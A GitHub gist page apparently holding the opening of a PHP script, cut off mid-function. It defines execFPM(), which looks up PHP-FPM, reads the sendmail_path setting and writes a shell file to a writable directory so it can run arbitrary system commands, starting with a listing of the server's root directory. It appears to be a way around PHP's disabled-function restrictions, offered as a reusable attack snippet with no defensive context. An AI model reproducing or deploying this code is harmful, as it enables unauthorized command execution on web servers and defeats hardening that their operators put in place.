Skip to content

Instantly share code, notes, and snippets.

<?php
echo execFPM('ls -la /');
function execFPM($cmd){
$res = false;
if($fpm = getFPM()){
$smPath = ini_get('sendmail_path');
$shFile = (is_writable('.') ? __DIR__ : sys_get_temp_dir()).'/'.md5(time());